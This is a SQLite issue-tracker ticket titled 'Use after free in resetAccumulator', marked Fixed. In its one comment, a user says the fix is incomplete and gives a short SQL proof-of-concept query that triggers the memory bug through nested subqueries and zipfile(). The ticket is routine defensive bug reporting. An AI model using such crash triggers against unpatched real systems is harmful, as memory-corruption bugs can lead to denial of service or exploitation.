SQLite

View Ticket
Login
Ticket Hash: 7c6d876f84e6e7e25621132dc9c244fb19ddc8e6
Title: Use after free in resetAccumulator.
Status: Fixed Type: Code_Defect
Severity: Minor Priority: Low
Subsystem: Unknown Resolution: Fixed
Last Modified: 2020-06-09 23:50:53
Version Found In:
User Comments:
yongheng added on 2020-06-08 20:26:10:
Seems the fix is still incorrect.

POC:
---
CREATE TABLE a(b);
WITH c AS(SELECT a)
    SELECT(SELECT(SELECT zipfile(0, b, b)
                      LIMIT(SELECT 0.100000 *
                            AVG(DISTINCT(SELECT 0 FROM a ORDER BY b, b, b))))
               FROM a GROUP BY b,
           b, b) FROM a EXCEPT SELECT b FROM a ORDER BY b,
    b, b;
---